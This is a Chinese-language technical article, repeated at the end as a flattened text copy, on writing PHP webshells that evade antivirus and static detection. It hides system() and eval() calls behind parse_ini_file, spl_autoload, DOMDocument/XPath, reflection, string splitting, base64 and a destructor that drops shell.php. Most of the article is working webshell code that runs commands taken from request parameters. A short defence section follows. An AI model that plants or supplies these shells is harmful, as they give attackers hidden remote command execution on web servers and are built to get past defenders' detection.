基于 PHP 内置类及函数的免杀 WebShell
字数 1839 2025-08-29 08:30:05

PHP内置类及函数的免杀WebShell技术深度剖析

前言

PHP作为广泛使用的服务端语言,其灵活的内置类和文件操作机制为攻击者提供了天然的隐蔽通道。本文将从PHP内置类与文件操作出发,详细解析如何利用这些"合法"功能构建零特征、高动态的免杀WebShell。

利用parse_ini_file函数

parse_ini_file函数用于解析.ini文件,我们可以将WebShell代码隐藏在.ini文件的配置项中,然后通过解析这些配置项来动态执行代码。

动态函数调用+反射执行

  1. 创建包含恶意代码字符串的.ini文件:
; config.ini
func_name = "system"
cmd = "whoami"
  1. PHP解析并执行代码:
<?php
$config = parse_ini_file('config.ini');
$func = $config['func_name'];
$cmd = $config['cmd'];

// 使用反射间接调用函数
$reflection = new ReflectionFunction($func);
$reflection->invoke($cmd);
?>

关键点

  • 敏感函数名(system)和指令(whoami)均存储在.ini文件中,避免代码硬编码
  • 使用反射(ReflectionFunction)间接调用函数,绕过静态检测

临时文件写入+包含执行

  1. 创建包含PHP代码的.ini文件:
; shell.ini
[section]
key = "<?php system($_GET['cmd']); ?>"
  1. PHP解析并执行代码:
<?php
$config = parse_ini_file('shell.ini', true);
$temp = tempnam(sys_get_temp_dir(), 'tmp');
file_put_contents($temp, $config['section']['key']);
include $temp;
unlink($temp);
?>

利用spl_autoload函数

spl_autoload函数用于自动加载类,但也可以被利用来触发文件包含。

基本利用方式

  1. 创建包含WebShell代码的.inc文件:
<?php
// 1.inc
system($_GET['cmd']);
?>
  1. PHP调用spl_autoload加载:
<?php
spl_autoload("1"); // 尝试加载类名为1的文件
?>

执行流程

  1. spl_autoload("1")尝试加载类名为1的文件
  2. 按默认规则查找1.php1.inc,发现1.inc存在
  3. 包含1.inc并执行WebShell

关键点

  • spl_autoload不仅用于加载类,直接调用时也可触发文件包含
  • 文件扩展名(.inc)和类名(1)需匹配,但文件内容无需严格包含类定义

伪装类文件+动态执行

  1. 创建伪装成类文件的payload.inc:
<?php
// payload.inc
class Payload {
    public function __construct() {
        system($_GET['cmd']);
    }
}
new Payload();
?>
  1. PHP调用spl_autoload加载:
<?php
spl_autoload("Payload");
?>

利用DOMDocument类

DOMDocument是PHP中用于处理XML和HTML文档的核心类,支持XPath查询和动态节点解析(PHP版本>8.0)。

常用方法

方法名 功能说明 示例
createElement($name, $value) 创建元素节点 $element = $dom->createElement('tag', 'content')
createAttribute($name) 创建属性节点 $attr = $dom->createAttribute('id')
getElementsByTagName($name) 通过标签名获取节点列表 $items = $dom->getElementsByTagName('item')
getElementById($id) 通过ID获取单个元素(需DTD验证) $node = $dom->getElementById('main')
saveHTML() 输出HTML格式字符串(处理HTML文档时) $html = $dom->saveHTML()
validate() 验证文档是否符合DTD/XSD if ($dom->validate()) {...}

解析XML数据隐藏恶意代码

  1. 创建包含恶意字符串的XML文件:
<!-- 1.xml -->
<root>
    <payload>system</payload>
    <command>whoami</command>
</root>
  1. PHP解析并执行代码:
<?php
$dom = new DOMDocument();
$dom->load('1.xml');
$payload = $dom->getElementsByTagName('payload')[0]->nodeValue;
$cmd = $dom->getElementsByTagName('command')[0]->nodeValue;

$payload($cmd);
?>

关键点

  • 将恶意字符串完全隐藏在XML文件中
  • 使用DOMDocument解析XML提取节点内容
  • 动态执行提取的代码

更隐蔽的XML利用方式

  1. 创建更复杂的XML文件:
<!-- config.xml -->
<application>
    <settings>
        <debug enabled="true">
            <handler type="system"><?php echo base64_decode($_GET['c']); ?></handler>
        </debug>
    </settings>
</application>
  1. PHP解析并执行:
<?php
$dom = new DOMDocument();
$dom->load('config.xml');
$xpath = new DOMXPath($dom);
$code = $xpath->query('//handler')[0]->nodeValue;
eval($code);
?>

高级免杀技术组合

动态函数拼接+加密混淆

<?php
$f = 's'.'y'.'s'.'t'.'e'.'m';
$c = base64_decode('d2hvYW1p');
$f($c);
?>

伪命名空间技术

<?php
namespace {
    function loader($class) {
        if ($class == 'System\Shell') {
            eval(base64_decode($_GET['c']));
        }
    }
    spl_autoload_register('loader');
    new \System\Shell();
}
?>

析构函数自动触发

<?php
class TempFile {
    public function __destruct() {
        file_put_contents('shell.php', '<?php '.$_GET['c'].' ?>');
    }
}
$tmp = new TempFile();
unset($tmp);
?>

防御建议

  1. 输入验证

    • 对所有用户输入进行严格过滤
    • 禁用危险字符和函数名
  2. 文件操作限制

    • 限制parse_ini_file只能读取特定目录
    • 禁用动态包含文件功能
  3. PHP配置加固

    disable_functions = system,exec,passthru,shell_exec,proc_open
    allow_url_include = Off
    
  4. 日志监控

    • 监控异常的文件操作
    • 记录所有包含/自动加载操作
  5. 代码审计

    • 检查所有反射调用
    • 审计XML/INI文件处理逻辑

总结

PHP内置类和文件操作机制提供了强大的功能,但也可能被攻击者利用构建高度隐蔽的WebShell。通过理解这些技术原理,安全团队可以更好地防御此类攻击,而开发者也能编写更安全的代码。防御的关键在于多层防护:输入验证、最小权限原则、敏感函数禁用和持续监控。

PHP内置类及函数的免杀WebShell技术深度剖析 前言 PHP作为广泛使用的服务端语言,其灵活的内置类和文件操作机制为攻击者提供了天然的隐蔽通道。本文将从PHP内置类与文件操作出发,详细解析如何利用这些"合法"功能构建零特征、高动态的免杀WebShell。 利用parse_ ini_ file函数 parse_ini_file 函数用于解析.ini文件,我们可以将WebShell代码隐藏在.ini文件的配置项中,然后通过解析这些配置项来动态执行代码。 动态函数调用+反射执行 创建包含恶意代码字符串的.ini文件: PHP解析并执行代码: 关键点 : 敏感函数名( system )和指令( whoami )均存储在.ini文件中,避免代码硬编码 使用反射( ReflectionFunction )间接调用函数,绕过静态检测 临时文件写入+包含执行 创建包含PHP代码的.ini文件: PHP解析并执行代码: 利用spl_ autoload函数 spl_autoload 函数用于自动加载类,但也可以被利用来触发文件包含。 基本利用方式 创建包含WebShell代码的.inc文件: PHP调用spl_ autoload加载: 执行流程 : spl_autoload("1") 尝试加载类名为 1 的文件 按默认规则查找 1.php 或 1.inc ,发现 1.inc 存在 包含 1.inc 并执行WebShell 关键点 : spl_autoload 不仅用于加载类,直接调用时也可触发文件包含 文件扩展名(.inc)和类名(1)需匹配,但文件内容无需严格包含类定义 伪装类文件+动态执行 创建伪装成类文件的payload.inc: PHP调用spl_ autoload加载: 利用DOMDocument类 DOMDocument 是PHP中用于处理XML和HTML文档的核心类,支持XPath查询和动态节点解析(PHP版本>8.0)。 常用方法 | 方法名 | 功能说明 | 示例 | |--------|----------|------| | createElement($name, $value) | 创建元素节点 | $element = $dom->createElement('tag', 'content') | | createAttribute($name) | 创建属性节点 | $attr = $dom->createAttribute('id') | | getElementsByTagName($name) | 通过标签名获取节点列表 | $items = $dom->getElementsByTagName('item') | | getElementById($id) | 通过ID获取单个元素(需DTD验证) | $node = $dom->getElementById('main') | | saveHTML() | 输出HTML格式字符串(处理HTML文档时) | $html = $dom->saveHTML() | | validate() | 验证文档是否符合DTD/XSD | if ($dom->validate()) {...} | 解析XML数据隐藏恶意代码 创建包含恶意字符串的XML文件: PHP解析并执行代码: 关键点 : 将恶意字符串完全隐藏在XML文件中 使用DOMDocument解析XML提取节点内容 动态执行提取的代码 更隐蔽的XML利用方式 创建更复杂的XML文件: PHP解析并执行: 高级免杀技术组合 动态函数拼接+加密混淆 伪命名空间技术 析构函数自动触发 防御建议 输入验证 : 对所有用户输入进行严格过滤 禁用危险字符和函数名 文件操作限制 : 限制 parse_ini_file 只能读取特定目录 禁用动态包含文件功能 PHP配置加固 : 日志监控 : 监控异常的文件操作 记录所有包含/自动加载操作 代码审计 : 检查所有反射调用 审计XML/INI文件处理逻辑 总结 PHP内置类和文件操作机制提供了强大的功能,但也可能被攻击者利用构建高度隐蔽的WebShell。通过理解这些技术原理,安全团队可以更好地防御此类攻击,而开发者也能编写更安全的代码。防御的关键在于多层防护:输入验证、最小权限原则、敏感函数禁用和持续监控。